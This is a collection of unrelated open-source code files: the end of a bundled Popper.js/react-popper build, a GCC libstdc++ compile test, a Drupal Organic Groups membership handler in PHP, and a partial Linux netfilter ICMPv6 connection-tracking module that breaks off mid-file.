element. * @memberof modifiers * @inner */ keepTogether: { /** @prop {number} order=400 - Index used to define the order of execution */ order: 400, /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ enabled: true, /** @prop {ModifierFn} */ fn: keepTogether }, /** * This modifier is used to move the `arrowElement` of the popper to make * sure it is positioned between the reference element and its popper element. * It will read the outer size of the `arrowElement` node to detect how many * pixels of conjuction are needed. * * It has no effect if no `arrowElement` is provided. * @memberof modifiers * @inner */ arrow: { /** @prop {number} order=500 - Index used to define the order of execution */ order: 500, /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ enabled: true, /** @prop {ModifierFn} */ fn: arrow, /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */ element: '[x-arrow]' }, /** * Modifier used to flip the popper's placement when it starts to overlap its * reference element. * * Requires the `preventOverflow` modifier before it in order to work. * * **NOTE:** this modifier will interrupt the current update cycle and will * restart it if it detects the need to flip the placement. * @memberof modifiers * @inner */ flip: { /** @prop {number} order=600 - Index used to define the order of execution */ order: 600, /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ enabled: true, /** @prop {ModifierFn} */ fn: flip, /** * @prop {String|Array} behavior='flip' * The behavior used to change the popper's placement. It can be one of * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid * placements (with optional variations). */ behavior: 'flip', /** * @prop {number} padding=5 * The popper will flip if it hits the edges of the `boundariesElement` */ padding: 5, /** * @prop {String|HTMLElement} boundariesElement='viewport' * The element which will define the boundaries of the popper position, * the popper will never be placed outside of the defined boundaries * (except if keepTogether is enabled) */ boundariesElement: 'viewport' }, /** * Modifier used to make the popper flow toward the inner of the reference element. * By default, when this modifier is disabled, the popper will be placed outside * the reference element. * @memberof modifiers * @inner */ inner: { /** @prop {number} order=700 - Index used to define the order of execution */ order: 700, /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */ enabled: false, /** @prop {ModifierFn} */ fn: inner }, /** * Modifier used to hide the popper when its reference element is outside of the * popper boundaries. It will set a `x-out-of-boundaries` attribute which can * be used to hide with a CSS selector the popper when its reference is * out of boundaries. * * Requires the `preventOverflow` modifier before it in order to work. * @memberof modifiers * @inner */ hide: { /** @prop {number} order=800 - Index used to define the order of execution */ order: 800, /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ enabled: true, /** @prop {ModifierFn} */ fn: hide }, /** * Computes the style that will be applied to the popper element to gets * properly positioned. * * Note that this modifier will not touch the DOM, it just prepares the styles * so that `applyStyle` modifier can apply it. This separation is useful * in case you need to replace `applyStyle` with a custom implementation. * * This modifier has `850` as `order` value to maintain backward compatibility * with previous versions of Popper.js. Expect the modifiers ordering method * to change in future major versions of the library. * * @memberof modifiers * @inner */ computeStyle: { /** @prop {number} order=850 - Index used to define the order of execution */ order: 850, /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ enabled: true, /** @prop {ModifierFn} */ fn: computeStyle, /** * @prop {Boolean} gpuAcceleration=true * If true, it uses the CSS 3d transformation to position the popper. * Otherwise, it will use the `top` and `left` properties. */ gpuAcceleration: true, /** * @prop {string} [x='bottom'] * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin. * Change this if your popper should grow in a direction different from `bottom` */ x: 'bottom', /** * @prop {string} [x='left'] * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin. * Change this if your popper should grow in a direction different from `right` */ y: 'right' }, /** * Applies the computed styles to the popper element. * * All the DOM manipulations are limited to this modifier. This is useful in case * you want to integrate Popper.js inside a framework or view library and you * want to delegate all the DOM manipulations to it. * * Note that if you disable this modifier, you must make sure the popper element * has its position set to `absolute` before Popper.js can do its work! * * Just disable this modifier and define you own to achieve the desired effect. * * @memberof modifiers * @inner */ applyStyle: { /** @prop {number} order=900 - Index used to define the order of execution */ order: 900, /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ enabled: true, /** @prop {ModifierFn} */ fn: applyStyle, /** @prop {Function} */ onLoad: applyStyleOnLoad, /** * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier * @prop {Boolean} gpuAcceleration=true * If true, it uses the CSS 3d transformation to position the popper. * Otherwise, it will use the `top` and `left` properties. */ gpuAcceleration: undefined } }; /** * The `dataObject` is an object containing all the informations used by Popper.js * this object get passed to modifiers and to the `onCreate` and `onUpdate` callbacks. * @name dataObject * @property {Object} data.instance The Popper.js instance * @property {String} data.placement Placement applied to popper * @property {String} data.originalPlacement Placement originally defined on init * @property {Boolean} data.flipped True if popper has been flipped by flip modifier * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper. * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier * @property {Object} data.styles Any CSS property defined here will be applied to the popper, it expects the JavaScript nomenclature (eg. `marginBottom`) * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow, it expects the JavaScript nomenclature (eg. `marginBottom`) * @property {Object} data.boundaries Offsets of the popper boundaries * @property {Object} data.offsets The measurements of popper, reference and arrow elements. * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0 */ /** * Default options provided to Popper.js constructor.<br /> * These can be overriden using the `options` argument of Popper.js.<br /> * To override an option, simply pass as 3rd argument an object with the same * structure of this object, example: * ``` * new Popper(ref, pop, { * modifiers: { * preventOverflow: { enabled: false } * } * }) * ``` * @type {Object} * @static * @memberof Popper */ var Defaults = { /** * Popper's placement * @prop {Popper.placements} placement='bottom' */ placement: 'bottom', /** * Whether events (resize, scroll) are initially enabled * @prop {Boolean} eventsEnabled=true */ eventsEnabled: true, /** * Set to true if you want to automatically remove the popper when * you call the `destroy` method. * @prop {Boolean} removeOnDestroy=false */ removeOnDestroy: false, /** * Callback called when the popper is created.<br /> * By default, is set to no-op.<br /> * Access Popper.js instance with `data.instance`. * @prop {onCreate} */ onCreate: function onCreate() {}, /** * Callback called when the popper is updated, this callback is not called * on the initialization/creation of the popper, but only on subsequent * updates.<br /> * By default, is set to no-op.<br /> * Access Popper.js instance with `data.instance`. * @prop {onUpdate} */ onUpdate: function onUpdate() {}, /** * List of modifiers used to modify the offsets before they are applied to the popper. * They provide most of the functionalities of Popper.js * @prop {modifiers} */ modifiers: modifiers }; /** * @callback onCreate * @param {dataObject} data */ /** * @callback onUpdate * @param {dataObject} data */ // Utils // Methods var Popper = function () { /** * Create a new Popper.js instance * @class Popper * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper * @param {HTMLElement} popper - The HTML element used as popper. * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults) * @return {Object} instance - The generated Popper.js instance */ function Popper(reference, popper) { var _this = this; var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; classCallCheck(this, Popper); this.scheduleUpdate = function () { return requestAnimationFrame(_this.update); }; // make update() debounced, so that it only runs at most once-per-tick this.update = debounce(this.update.bind(this)); // with {} we create a new object with the options inside it this.options = _extends({}, Popper.Defaults, options); // init state this.state = { isDestroyed: false, isCreated: false, scrollParents: [] }; // get reference and popper elements (allow jQuery wrappers) this.reference = reference && reference.jquery ? reference[0] : reference; this.popper = popper && popper.jquery ? popper[0] : popper; // Deep merge modifiers options this.options.modifiers = {}; Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) { _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {}); }); // Refactoring modifiers' list (Object => Array) this.modifiers = Object.keys(this.options.modifiers).map(function (name) { return _extends({ name: name }, _this.options.modifiers[name]); }) // sort the modifiers by order .sort(function (a, b) { return a.order - b.order; }); // modifiers have the ability to execute arbitrary code when Popper.js get inited // such code is executed in the same order of its modifier // they could add new properties to their options configuration // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`! this.modifiers.forEach(function (modifierOptions) { if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) { modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state); } }); // fire the first update to position the popper in the right place this.update(); var eventsEnabled = this.options.eventsEnabled; if (eventsEnabled) { // setup event listeners, they will take care of update the position in specific situations this.enableEventListeners(); } this.state.eventsEnabled = eventsEnabled; } // We can't use class properties because they don't get listed in the // class prototype and break stuff like Sinon stubs createClass(Popper, [{ key: 'update', value: function update$$1() { return update.call(this); } }, { key: 'destroy', value: function destroy$$1() { return destroy.call(this); } }, { key: 'enableEventListeners', value: function enableEventListeners$$1() { return enableEventListeners.call(this); } }, { key: 'disableEventListeners', value: function disableEventListeners$$1() { return disableEventListeners.call(this); } /** * Schedule an update, it will run on the next UI update available * @method scheduleUpdate * @memberof Popper */ /** * Collection of utilities useful when writing custom modifiers. * Starting from version 1.7, this method is available only if you * include `popper-utils.js` before `popper.js`. * * **DEPRECATION**: This way to access PopperUtils is deprecated * and will be removed in v2! Use the PopperUtils module directly instead. * Due to the high instability of the methods contained in Utils, we can't * guarantee them to follow semver. Use them at your own risk! * @static * @private * @type {Object} * @deprecated since version 1.8 * @member Utils * @memberof Popper */ }]); return Popper; }(); /** * The `referenceObject` is an object that provides an interface compatible with Popper.js * and lets you use it as replacement of a real DOM node.<br /> * You can use this method to position a popper relatively to a set of coordinates * in case you don't have a DOM node to use as reference. * * ``` * new Popper(referenceObject, popperNode); * ``` * * NB: This feature isn't supported in Internet Explorer 10 * @name referenceObject * @property {Function} data.getBoundingClientRect * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method. * @property {number} data.clientWidth * An ES6 getter that will return the width of the virtual reference element. * @property {number} data.clientHeight * An ES6 getter that will return the height of the virtual reference element. */ Popper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils; Popper.placements = placements; Popper.Defaults = Defaults; return Popper; }))); //# sourceMappingURL=popper.js.map /* WEBPACK VAR INJECTION */}.call(exports, (function() { return this; }()))) /***/ }), /* 27 */ /***/ (function(module, exports, __webpack_require__) { 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; var _react = __webpack_require__(3); var _react2 = _interopRequireDefault(_react); var _propTypes = __webpack_require__(4); var _propTypes2 = _interopRequireDefault(_propTypes); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; } var Arrow = function Arrow(props, context) { var _props$component = props.component, component = _props$component === undefined ? 'span' : _props$component, innerRef = props.innerRef, children = props.children, restProps = _objectWithoutProperties(props, ['component', 'innerRef', 'children']); var popper = context.popper; var arrowRef = function arrowRef(node) { popper.setArrowNode(node); if (typeof innerRef === 'function') { innerRef(node); } }; var arrowStyle = popper.getArrowStyle(); if (typeof children === 'function') { var arrowProps = { ref: arrowRef, style: arrowStyle }; return children({ arrowProps: arrowProps, restProps: restProps }); } var componentProps = _extends({}, restProps, { style: _extends({}, arrowStyle, restProps.style) }); if (typeof component === 'string') { componentProps.ref = arrowRef; } else { componentProps.innerRef = arrowRef; } return (0, _react.createElement)(component, componentProps, children); }; Arrow.contextTypes = { popper: _propTypes2.default.object.isRequired }; Arrow.propTypes = { component: _propTypes2.default.oneOfType([_propTypes2.default.node, _propTypes2.default.func]), innerRef: _propTypes2.default.func, children: _propTypes2.default.oneOfType([_propTypes2.default.node, _propTypes2.default.func]) }; exports.default = Arrow; /***/ }) /******/ ]) }); ;
mit
Xilinx/gcc
libstdc++-v3/testsuite/23_containers/unordered_multiset/requirements/explicit_instantiation/3.cc
953
// { dg-options "-std=gnu++0x" } // { dg-do compile } // Copyright (C) 2007-2013 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this library; see the file COPYING3. If not see // <http://www.gnu.org/licenses/>. #include <unordered_set> using namespace std; template class unordered_multiset<int, hash<int>, equal_to<int>, allocator<char>>;
gpl-2.0
johnlaine1/installer
sites/all/modules/og/plugins/entityreference/behavior/OgBehaviorHandler.class.php
9888
<?php /** * OG behavior handler. */ class OgBehaviorHandler extends EntityReference_BehaviorHandler_Abstract { /** * Implements EntityReference_BehaviorHandler_Abstract::access(). */ public function access($field, $instance) { return $field['settings']['handler'] == 'og' || strpos($field['settings']['handler'], 'og_') === 0; } /** * Implements EntityReference_BehaviorHandler_Abstract::load(). */ public function load($entity_type, $entities, $field, $instances, $langcode, &$items) { // Get the OG memberships from the field. $field_name = $field['field_name']; $target_type = $field['settings']['target_type']; foreach ($entities as $entity) { $wrapper = entity_metadata_wrapper($entity_type, $entity); if (empty($wrapper->{$field_name})) { // If the entity belongs to a bundle that was deleted, return early. continue; } $id = $wrapper->getIdentifier(); $items[$id] = array(); $gids = og_get_entity_groups($entity_type, $entity, array(OG_STATE_ACTIVE), $field_name); if (empty($gids[$target_type])) { continue; } foreach ($gids[$target_type] as $gid) { $items[$id][] = array( 'target_id' => $gid, ); } } } /** * Implements EntityReference_BehaviorHandler_Abstract::insert(). */ public function insert($entity_type, $entity, $field, $instance, $langcode, &$items) { if (!empty($entity->skip_og_membership)) { return; } $this->OgMembershipCrud($entity_type, $entity, $field, $instance, $langcode, $items); $items = array(); } /** * Implements EntityReference_BehaviorHandler_Abstract::access(). */ public function update($entity_type, $entity, $field, $instance, $langcode, &$items) { if (!empty($entity->skip_og_membership)) { return; } $this->OgMembershipCrud($entity_type, $entity, $field, $instance, $langcode, $items); $items = array(); } /** * Implements EntityReference_BehaviorHandler_Abstract::Delete() * * CRUD memberships from field, or if entity is marked for deleteing, * delete all the OG membership related to it. * * @see og_entity_delete(). */ public function delete($entity_type, $entity, $field, $instance, $langcode, &$items) { if (!empty($entity->skip_og_membership)) { return; } if (!empty($entity->delete_og_membership)) { // Delete all OG memberships related to this entity. $og_memberships = array(); foreach (og_get_entity_groups($entity_type, $entity) as $group_type => $ids) { $og_memberships = array_merge($og_memberships, array_keys($ids)); } if ($og_memberships) { og_membership_delete_multiple($og_memberships); } } else { $this->OgMembershipCrud($entity_type, $entity, $field, $instance, $langcode, $items); } } /** * Create, update or delete OG membership based on field values. */ public function OgMembershipCrud($entity_type, $entity, $field, $instance, $langcode, &$items) { if (!user_access('administer group') && !field_access('edit', $field, $entity_type, $entity)) { // User has no access to field. return; } if (!$diff = $this->groupAudiencegetDiff($entity_type, $entity, $field, $instance, $langcode, $items)) { return; } $field_name = $field['field_name']; $group_type = $field['settings']['target_type']; $diff += array('insert' => array(), 'delete' => array()); // Delete first, so we don't trigger cardinality errors. if ($diff['delete']) { og_membership_delete_multiple($diff['delete']); } if (!$diff['insert']) { return; } // Prepare an array with the membership state, if it was provided in the widget. $states = array(); foreach ($items as $item) { $gid = $item['target_id']; if (empty($item['state']) || !in_array($gid, $diff['insert'])) { // State isn't provided, or not an "insert" operation. continue; } $states[$gid] = $item['state']; } foreach ($diff['insert'] as $gid) { $values = array( 'entity_type' => $entity_type, 'entity' => $entity, 'field_name' => $field_name, ); if (!empty($states[$gid])) { $values['state'] = $states[$gid]; } og_group($group_type, $gid, $values); } } /** * Get the difference in group audience for a saved field. * * @return * Array with all the differences, or an empty array if none found. */ public function groupAudiencegetDiff($entity_type, $entity, $field, $instance, $langcode, $items) { $return = FALSE; $field_name = $field['field_name']; $wrapper = entity_metadata_wrapper($entity_type, $entity); $og_memberships = $wrapper->{$field_name . '__og_membership'}->value(); $new_memberships = array(); foreach ($items as $item) { $new_memberships[$item['target_id']] = TRUE; } foreach ($og_memberships as $og_membership) { $gid = $og_membership->gid; if (empty($new_memberships[$gid])) { // Membership was deleted. if ($og_membership->entity_type == 'user') { // Make sure this is not the group manager, if exists. $group = entity_load_single($og_membership->group_type, $og_membership->gid); if (!empty($group->uid) && $group->uid == $og_membership->etid) { continue; } } $return['delete'][] = $og_membership->id; unset($new_memberships[$gid]); } else { // Existing membership. unset($new_memberships[$gid]); } } if ($new_memberships) { // New memberships. $return['insert'] = array_keys($new_memberships); } return $return; } /** * Implements EntityReference_BehaviorHandler_Abstract::views_data_alter(). */ public function views_data_alter(&$data, $field) { // We need to override the default EntityReference table settings when OG // behavior is being used. if (og_is_group_audience_field($field['field_name'])) { $entity_types = array_keys($field['bundles']); // We need to join the base table for the entities // that this field is attached to. foreach ($entity_types as $entity_type) { $entity_info = entity_get_info($entity_type); $data['og_membership'] = array( 'table' => array( 'join' => array( $entity_info['base table'] => array( // Join entity base table on its id field with left_field. 'left_field' => $entity_info['entity keys']['id'], 'field' => 'etid', 'extra' => array( 0 => array( 'field' => 'entity_type', 'value' => $entity_type, ), ), ), ), ), // Copy the original config from the table definition. $field['field_name'] => $data['field_data_' . $field['field_name']][$field['field_name']], $field['field_name'] . '_target_id' => $data['field_data_' . $field['field_name']][$field['field_name'] . '_target_id'], ); // Change config with settings from og_membership table. foreach (array('filter', 'argument', 'sort') as $op) { $data['og_membership'][$field['field_name'] . '_target_id'][$op]['field'] = 'gid'; $data['og_membership'][$field['field_name'] . '_target_id'][$op]['table'] = 'og_membership'; unset($data['og_membership'][$field['field_name'] . '_target_id'][$op]['additional fields']); } } // Get rid of the original table configs. unset($data['field_data_' . $field['field_name']]); unset($data['field_revision_' . $field['field_name']]); } } /** * Implements EntityReference_BehaviorHandler_Abstract::validate(). * * Re-build $errors array to be keyed correctly by "default" and "admin" field * modes. * * @todo: Try to get the correct delta so we can highlight the invalid * reference. * * @see entityreference_field_validate(). */ public function validate($entity_type, $entity, $field, $instance, $langcode, $items, &$errors) { $new_errors = array(); $values = array('default' => array(), 'admin' => array()); // If the widget type name starts with 'og_' we suppose it is separated // into an admin and default part. if (strpos($instance['widget']['type'], 'og_') === 0) { foreach ($items as $item) { $values[$item['field_mode']][] = $item['target_id']; } } else { foreach ($items as $item) { $values['default'][] = $item['target_id']; } } $field_name = $field['field_name']; foreach ($values as $field_mode => $ids) { if (!$ids) { continue; } if ($field_mode == 'admin' && !user_access('administer group')) { // No need to validate the admin, as the user has no access to it. continue; } $instance['field_mode'] = $field_mode; $valid_ids = entityreference_get_selection_handler($field, $instance, $entity_type, $entity)->validateReferencableEntities($ids); if ($invalid_entities = array_diff($ids, $valid_ids)) { foreach ($invalid_entities as $id) { $new_errors[$field_mode][] = array( 'error' => 'og_invalid_entity', 'message' => t('The referenced group (@type: @id) is invalid.', array('@type' => $field['settings']['target_type'], '@id' => $id)), ); } } } if ($new_errors) { og_field_widget_register_errors($field_name, $new_errors); } // Errors for this field now handled, removing from the referenced array. unset($errors[$field_name]); } }
gpl-2.0
minipli/linux-grsec
net/ipv6/netfilter/nf_conntrack_proto_icmpv6.c
11142
/* * Copyright (C)2003,2004 USAGI/WIDE Project * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Author: * Yasuyuki Kozakai @USAGI <[email protected]> */ #include <linux/types.h> #include <linux/timer.h> #include <linux/module.h> #include <linux/netfilter.h> #include <linux/in6.h> #include <linux/icmpv6.h> #include <linux/ipv6.h> #include <net/ipv6.h> #include <net/ip6_checksum.h> #include <linux/seq_file.h> #include <linux/netfilter_ipv6.h> #include <net/netfilter/nf_conntrack_tuple.h> #include <net/netfilter/nf_conntrack_l4proto.h> #include <net/netfilter/nf_conntrack_core.h> #include <net/netfilter/nf_conntrack_zones.h> #include <net/netfilter/ipv6/nf_conntrack_icmpv6.h> #include <net/netfilter/nf_log.h> static unsigned int nf_ct_icmpv6_timeout __read_mostly = 30*HZ; static inline struct nf_icmp_net *icmpv6_pernet(struct net *net) { return &net->ct.nf_ct_proto.icmpv6; } static bool icmpv6_pkt_to_tuple(const struct sk_buff *skb, unsigned int dataoff, struct net *net, struct nf_conntrack_tuple *tuple) { const struct icmp6hdr *hp; struct icmp6hdr _hdr; hp = skb_header_pointer(skb, dataoff, sizeof(_hdr), &_hdr); if (hp == NULL) return false; tuple->dst.u.icmp.type = hp->icmp6_type; tuple->src.u.icmp.id = hp->icmp6_identifier; tuple->dst.u.icmp.code = hp->icmp6_code; return true; } /* Add 1; spaces filled with 0. */ static const u_int8_t invmap[] = { [ICMPV6_ECHO_REQUEST - 128] = ICMPV6_ECHO_REPLY + 1, [ICMPV6_ECHO_REPLY - 128] = ICMPV6_ECHO_REQUEST + 1, [ICMPV6_NI_QUERY - 128] = ICMPV6_NI_REPLY + 1, [ICMPV6_NI_REPLY - 128] = ICMPV6_NI_QUERY + 1 }; static const u_int8_t noct_valid_new[] = { [ICMPV6_MGM_QUERY - 130] = 1, [ICMPV6_MGM_REPORT - 130] = 1, [ICMPV6_MGM_REDUCTION - 130] = 1, [NDISC_ROUTER_SOLICITATION - 130] = 1, [NDISC_ROUTER_ADVERTISEMENT - 130] = 1, [NDISC_NEIGHBOUR_SOLICITATION - 130] = 1, [NDISC_NEIGHBOUR_ADVERTISEMENT - 130] = 1, [ICMPV6_MLD2_REPORT - 130] = 1 }; static bool icmpv6_invert_tuple(struct nf_conntrack_tuple *tuple, const struct nf_conntrack_tuple *orig) { int type = orig->dst.u.icmp.type - 128; if (type < 0 || type >= sizeof(invmap) || !invmap[type]) return false; tuple->src.u.icmp.id = orig->src.u.icmp.id; tuple->dst.u.icmp.type = invmap[type] - 1; tuple->dst.u.icmp.code = orig->dst.u.icmp.code; return true; } /* Print out the per-protocol part of the tuple. */ static void icmpv6_print_tuple(struct seq_file *s, const struct nf_conntrack_tuple *tuple) { seq_printf(s, "type=%u code=%u id=%u ", tuple->dst.u.icmp.type, tuple->dst.u.icmp.code, ntohs(tuple->src.u.icmp.id)); } static unsigned int *icmpv6_get_timeouts(struct net *net) { return &icmpv6_pernet(net)->timeout; } /* Returns verdict for packet, or -1 for invalid. */ static int icmpv6_packet(struct nf_conn *ct, const struct sk_buff *skb, unsigned int dataoff, enum ip_conntrack_info ctinfo, u_int8_t pf, unsigned int hooknum, unsigned int *timeout) { /* Do not immediately delete the connection after the first successful reply to avoid excessive conntrackd traffic and also to handle correctly ICMP echo reply duplicates. */ nf_ct_refresh_acct(ct, ctinfo, skb, *timeout); return NF_ACCEPT; } /* Called when a new connection for this protocol found. */ static bool icmpv6_new(struct nf_conn *ct, const struct sk_buff *skb, unsigned int dataoff, unsigned int *timeouts) { static const u_int8_t valid_new[] = { [ICMPV6_ECHO_REQUEST - 128] = 1, [ICMPV6_NI_QUERY - 128] = 1 }; int type = ct->tuplehash[0].tuple.dst.u.icmp.type - 128; if (type < 0 || type >= sizeof(valid_new) || !valid_new[type]) { /* Can't create a new ICMPv6 `conn' with this. */ pr_debug("icmpv6: can't create new conn with type %u\n", type + 128); nf_ct_dump_tuple_ipv6(&ct->tuplehash[0].tuple); if (LOG_INVALID(nf_ct_net(ct), IPPROTO_ICMPV6)) nf_log_packet(nf_ct_net(ct), PF_INET6, 0, skb, NULL, NULL, NULL, "nf_ct_icmpv6: invalid new with type %d ", type + 128); return false; } return true; } static int icmpv6_error_message(struct net *net, struct nf_conn *tmpl, struct sk_buff *skb, unsigned int icmp6off, unsigned int hooknum) { struct nf_conntrack_tuple intuple, origtuple; const struct nf_conntrack_tuple_hash *h; const struct nf_conntrack_l4proto *inproto; enum ip_conntrack_info ctinfo; struct nf_conntrack_zone tmp; NF_CT_ASSERT(!skb_nfct(skb)); /* Are they talking about one of our connections? */ if (!nf_ct_get_tuplepr(skb, skb_network_offset(skb) + sizeof(struct ipv6hdr) + sizeof(struct icmp6hdr), PF_INET6, net, &origtuple)) { pr_debug("icmpv6_error: Can't get tuple\n"); return -NF_ACCEPT; } /* rcu_read_lock()ed by nf_hook_thresh */ inproto = __nf_ct_l4proto_find(PF_INET6, origtuple.dst.protonum); /* Ordinarily, we'd expect the inverted tupleproto, but it's been preserved inside the ICMP. */ if (!nf_ct_invert_tuple(&intuple, &origtuple, &nf_conntrack_l3proto_ipv6, inproto)) { pr_debug("icmpv6_error: Can't invert tuple\n"); return -NF_ACCEPT; } ctinfo = IP_CT_RELATED; h = nf_conntrack_find_get(net, nf_ct_zone_tmpl(tmpl, skb, &tmp), &intuple); if (!h) { pr_debug("icmpv6_error: no match\n"); return -NF_ACCEPT; } else { if (NF_CT_DIRECTION(h) == IP_CT_DIR_REPLY) ctinfo += IP_CT_IS_REPLY; } /* Update skb to refer to this connection */ nf_ct_set(skb, nf_ct_tuplehash_to_ctrack(h), ctinfo); return NF_ACCEPT; } static int icmpv6_error(struct net *net, struct nf_conn *tmpl, struct sk_buff *skb, unsigned int dataoff, u8 pf, unsigned int hooknum) { const struct icmp6hdr *icmp6h; struct icmp6hdr _ih; int type; icmp6h = skb_header_pointer(skb, dataoff, sizeof(_ih), &_ih); if (icmp6h == NULL) { if (LOG_INVALID(net, IPPROTO_ICMPV6)) nf_log_packet(net, PF_INET6, 0, skb, NULL, NULL, NULL, "nf_ct_icmpv6: short packet "); return -NF_ACCEPT; } if (net->ct.sysctl_checksum && hooknum == NF_INET_PRE_ROUTING && nf_ip6_checksum(skb, hooknum, dataoff, IPPROTO_ICMPV6)) { if (LOG_INVALID(net, IPPROTO_ICMPV6)) nf_log_packet(net, PF_INET6, 0, skb, NULL, NULL, NULL, "nf_ct_icmpv6: ICMPv6 checksum failed "); return -NF_ACCEPT; } type = icmp6h->icmp6_type - 130; if (type >= 0 && type < sizeof(noct_valid_new) && noct_valid_new[type]) { nf_ct_set(skb, nf_ct_untracked_get(), IP_CT_NEW); nf_conntrack_get(skb_nfct(skb)); return NF_ACCEPT; } /* is not error message ? */ if (icmp6h->icmp6_type >= 128) return NF_ACCEPT; return icmpv6_error_message(net, tmpl, skb, dataoff, hooknum); } #if IS_ENABLED(CONFIG_NF_CT_NETLINK) #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nfnetlink_conntrack.h> static int icmpv6_tuple_to_nlattr(struct sk_buff *skb, const struct nf_conntrack_tuple *t) { if (nla_put_be16(skb, CTA_PROTO_ICMPV6_ID, t->src.u.icmp.id) || nla_put_u8(skb, CTA_PROTO_ICMPV6_TYPE, t->dst.u.icmp.type) || nla_put_u8(skb, CTA_PROTO_ICMPV6_CODE, t->dst.u.icmp.code)) goto nla_put_failure; return 0; nla_put_failure: return -1; } static const struct nla_policy icmpv6_nla_policy[CTA_PROTO_MAX+1] = { [CTA_PROTO_ICMPV6_TYPE] = { .type = NLA_U8 }, [CTA_PROTO_ICMPV6_CODE] = { .type = NLA_U8 }, [CTA_PROTO_ICMPV6_ID] = { .type = NLA_U16 }, }; static int icmpv6_nlattr_to_tuple(struct nlattr *tb[], struct nf_conntrack_tuple *tuple) { if (!tb[CTA_PROTO_ICMPV6_TYPE] || !tb[CTA_PROTO_ICMPV6_CODE] || !tb[CTA_PROTO_ICMPV6_ID]) return -EINVAL; tuple->dst.u.icmp.type = nla_get_u8(tb[CTA_PROTO_ICMPV6_TYPE]); tuple->dst.u.icmp.code = nla_get_u8(tb[CTA_PROTO_ICMPV6_CODE]); tuple->src.u.icmp.id = nla_get_be16(tb[CTA_PROTO_ICMPV6_ID]); if (tuple->dst.u.icmp.type < 128 || tuple->dst.u.icmp.type - 128 >= sizeof(invmap) || !invmap[tuple->dst.u.icmp.type - 128]) return -EINVAL; return 0; } static int icmpv6_nlattr_tuple_size(void) { return nla_policy_len(icmpv6_nla_policy, CTA_PROTO_MAX + 1); } #endif #if IS_ENABLED(CONFIG_NF_CT_NETLINK_TIMEOUT) #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nfnetlink_cttimeout.h> static int icmpv6_timeout_nlattr_to_obj(struct nlattr *tb[], struct net *net, void *data) { unsigned int *timeout = data; struct nf_icmp_net *in = icmpv6_pernet(net); if (tb[CTA_TIMEOUT_ICMPV6_TIMEOUT]) { *timeout = ntohl(nla_get_be32(tb[CTA_TIMEOUT_ICMPV6_TIMEOUT])) * HZ; } else { /* Set default ICMPv6 timeout. */ *timeout = in->timeout; } return 0; } static int icmpv6_timeout_obj_to_nlattr(struct sk_buff *skb, const void *data) { const unsigned int *timeout = data; if (nla_put_be32(skb, CTA_TIMEOUT_ICMPV6_TIMEOUT, htonl(*timeout / HZ))) goto nla_put_failure; return 0; nla_put_failure: return -ENOSPC; } static const struct nla_policy icmpv6_timeout_nla_policy[CTA_TIMEOUT_ICMPV6_MAX+1] = { [CTA_TIMEOUT_ICMPV6_TIMEOUT] = { .type = NLA_U32 }, }; #endif /* CONFIG_NF_CT_NETLINK_TIMEOUT */ #ifdef CONFIG_SYSCTL static struct ctl_table icmpv6_sysctl_table[] = { { .procname = "nf_conntrack_icmpv6_timeout", .maxlen = sizeof(unsigned int), .mode = 0644, .proc_handler = proc_dointvec_jiffies, }, { } }; #endif /* CONFIG_SYSCTL */ static int icmpv6_kmemdup_sysctl_table(struct nf_proto_net *pn, struct nf_icmp_net *in) { #ifdef CONFIG_SYSCTL pn->ctl_table = kmemdup(icmpv6_sysctl_table, sizeof(icmpv6_sysctl_table), GFP_KERNEL); if (!pn->ctl_table) return -ENOMEM; pn->ctl_table[0].data = &in->timeout; #endif return 0; } static int icmpv6_init_net(struct net *net, u_int16_t proto) { struct nf_icmp_net *in = icmpv6_pernet(net); struct nf_proto_net *pn = &in->pn; in->timeout = nf_ct_icmpv6_timeout; return icmpv6_kmemdup_sysctl_table(pn, in); } static 